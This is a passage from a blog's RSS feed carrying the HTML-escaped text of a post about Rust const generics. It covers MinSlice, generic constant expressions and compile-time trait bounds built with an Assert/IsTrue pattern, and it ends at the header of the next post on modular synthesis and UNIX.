style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;reference: Option&amp;lt;&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;slice.get(&lt;span style=&#34;color:#00f&#34;&gt;6&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// We know this value is `Some(b&amp;#39; &amp;#39;)`,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// but the compiler can&amp;#39;t know that.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;assert!(reference.is_some())&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With a &lt;code&gt;MinSlice&lt;/code&gt;, we can perform the length check one time and get a&#xA;compile-time guarantee that future accesses will succeed:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;slice: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;[&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Hello, world&amp;#34;&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Length check is performed when we construct a MinSlice,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// and it&amp;#39;s known at compile time to be of length 12.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// If the `unwrap()` succeeds, no more checks are needed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// throughout the `MinSlice`&amp;#39;s lifetime.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;minslice&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MinSlice::&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;12&lt;/span&gt;&amp;gt;::from_slice(slice).unwrap();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt; =&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;minslice.head[&lt;span style=&#34;color:#00f&#34;&gt;6&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;assert_eq!(value,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#800080&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is powerful, but the current implementation of const generics is&#xA;quite limited, on purpose.&#xA;There are remaining design questions around a lot of aspects of the world of&#xA;type-level computation in Rust, such as error handling and even syntax for&#xA;default values.&lt;/p&gt;&#xA;&lt;h2 id=&#34;generic-constant-expressions&#34;&gt;Generic Constant Expressions&lt;/h2&gt;&#xA;&lt;p&gt;One important feature that&amp;rsquo;s not yet available on stable is the ability to&#xA;do computations on constant generics at compile time,&#xA;beyond very simple combinations of literals.&#xA;That is, you can write &lt;code&gt;MinSlice::&amp;lt;_, 3 + 4&amp;gt;&lt;/code&gt;, but you can&amp;rsquo;t (yet)&#xA;write something like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;T,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MinSlice&amp;lt;T,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// Returns a longer `MinSlice` if enough elements&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// are available in `tail`.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; &amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;M: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;extend(&amp;amp;self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Option(&amp;amp;MinSlice&amp;lt;T,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;M&amp;gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Arithmetic and comparisons that work with literals aren&amp;rsquo;t available&#xA;with constant generic parameters.&lt;/p&gt;&#xA;&lt;p&gt;All of that changes, however, when we enable the feature&#xA;&lt;a href=&#34;https://doc.rust-lang.org/nightly/unstable-book/language-features/generic-const-exprs.html&#34;&gt;&lt;code&gt;generic_const_exprs&lt;/code&gt;&lt;/a&gt;.&#xA;This feature still has many design questions, and likely won&amp;rsquo;t be stabilized&#xA;for a long time, but when it is, we&amp;rsquo;ll be able to put a great deal of information&#xA;in the type system that could previously be computed only at runtime.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conditional-implementation&#34;&gt;Conditional Implementation&lt;/h2&gt;&#xA;&lt;p&gt;Obviously computing the lengths of arrays at compile time is convenient,&#xA;but we can do even better.&#xA;For example, Rust already has a way to conditionally implement traits on types;&#xA;it&amp;rsquo;s just that the only condition available is whether that type implements&#xA;another trait already.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyTrait&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyType&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;where&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyType&amp;lt;T&amp;gt;: Copy {}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can even make chains of inference using generic parameters, like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Copy&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyType&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;where&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;T: Copy {}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, whenever we construct a &lt;code&gt;MyType&amp;lt;T&amp;gt;&lt;/code&gt; for a &lt;code&gt;T&lt;/code&gt; that is &lt;code&gt;Copy&lt;/code&gt;,&#xA;that automatically implements both &lt;code&gt;Copy&lt;/code&gt; and &lt;code&gt;MyTrait&lt;/code&gt;.&#xA;So, &lt;code&gt;MyType&amp;lt;u32&amp;gt;&lt;/code&gt; is &lt;code&gt;Copy&lt;/code&gt; and &lt;code&gt;MyTrait&lt;/code&gt;, but &lt;code&gt;MyType&amp;lt;String&amp;gt;&lt;/code&gt; is neither.&lt;/p&gt;&#xA;&lt;h2 id=&#34;const-implementation-bounds&#34;&gt;Const Implementation Bounds&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s say we&amp;rsquo;re working on a piece of embedded software running in a real-time&#xA;environment, and it&amp;rsquo;s become clear that cloning values that are too large&#xA;could lead to violations of our real-time constraints.&#xA;That is, taking the time to loop through and copy 32 or 64 values is fine,&#xA;but if we&amp;rsquo;re spending time copying 128 values from place to place,&#xA;we&amp;rsquo;ll infringe on our sensor polling or something.&lt;/p&gt;&#xA;&lt;p&gt;(Yeah, it&amp;rsquo;s contrived - but it&amp;rsquo;s just an example.)&lt;/p&gt;&#xA;&lt;p&gt;Ideally, we&amp;rsquo;d be able to enforce this at compile time, and indeed&#xA;with just a little bit of infrastructure,&#xA;we can conditionally implement traits based on the values of compile-time&#xA;expressions encoded entirely in the type system.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, we need a trait that is implemented only if some condition is met.&#xA;Enter &lt;code&gt;Assert&lt;/code&gt; and &lt;code&gt;IsTrue&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Assert&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;COND: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;trait&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;IsTrue&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;IsTrue&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Assert&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These empty types and traits, of course, vanish during compilation,&#xA;but they do give us enough infrastructure to make some compile-time assertions:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;_: Assert&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;false&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Assert::&amp;lt;{&lt;span style=&#34;color:#00f&#34;&gt;10&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;11&lt;/span&gt;}&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If all of our data is wrapped in a custom type, like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// The struct we&amp;#39;re going to conditionally implement for&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[derive(Clone, Debug)]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Foo&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;&amp;gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;inner: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can then go ahead and make a conditional implementation based on size:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Copy&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Foo&amp;lt;N&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;where&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Assert::&amp;lt;{N&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;128&lt;/span&gt;}&amp;gt;: IsTrue&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, it&amp;rsquo;s ergonomic to copy around arrays of any size up to 127, like so:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_foo&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Foo::&amp;lt;&lt;span style=&#34;color:#00f&#34;&gt;16&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;inner: [&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;16&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;foo_too&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_foo;&lt;span style=&#34;color:#bbb&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{:?}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;foo_too);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;do_something(my_foo);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But, as soon as they get too big, the compiler will stop us:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_copynt_foo&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Foo::&amp;lt;&lt;span style=&#34;color:#00f&#34;&gt;128&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;inner: [&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;128&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;foo_moved&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_copynt_foo;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{:?}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_copynt_foo);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// ERROR: borrow of moved value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// move occurs because `my_copynt_foo` has type `Foo&amp;lt;128_usize&amp;gt;`,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// which does not implement the `Copy` trait&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is a fairly ergonomic form of almost-not-quite dependent types,&#xA;and it&amp;rsquo;s all encoded in the familiar language of traits and generics&#xA;that Rustaceans use daily.&lt;/p&gt;&#xA;&lt;h2 id=&#34;moving-forward&#34;&gt;Moving Forward&lt;/h2&gt;&#xA;&lt;p&gt;As I mentioned, there are many hurdles ahead in the implementation and&#xA;stabilization of these features in the language, and their subsequent use in&#xA;the library ecosystem.&#xA;It&amp;rsquo;s also worth mentioning that there is already a library that provides&#xA;many of these features on stable,&#xA;called &lt;a href=&#34;https://docs.rs/typenum/1.14.0/typenum/&#34;&gt;&lt;code&gt;typenum&lt;/code&gt;&lt;/a&gt;.&#xA;It&amp;rsquo;s a useful library if you need these features today,&#xA;but it inherently has poor compile times and is somewhat limited in terms of&#xA;its integration into the compiler and overall ecosystem in a way that first-class&#xA;const generics are not.&lt;/p&gt;&#xA;&lt;p&gt;Nonetheless, I think it&amp;rsquo;s time to get excited about constant generics in Rust;&#xA;start figuring out how you want to use them and how they can help you solve problems,&#xA;and give feedback to the Rust project about what you&amp;rsquo;d like to see&#xA;as the full-fledged constant generic implementation begins to unfold.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Modular Synthesis and UNIX</title>
      <link>https://nora.codes/post/modular-synthesis-and-unix/</link>
      <pubDate>Sat, 01 Aug 2020 11:06:41 -0500</pubDate>
      <guid>https://nora.codes/post/modular-synthesis-and-unix/</guid>
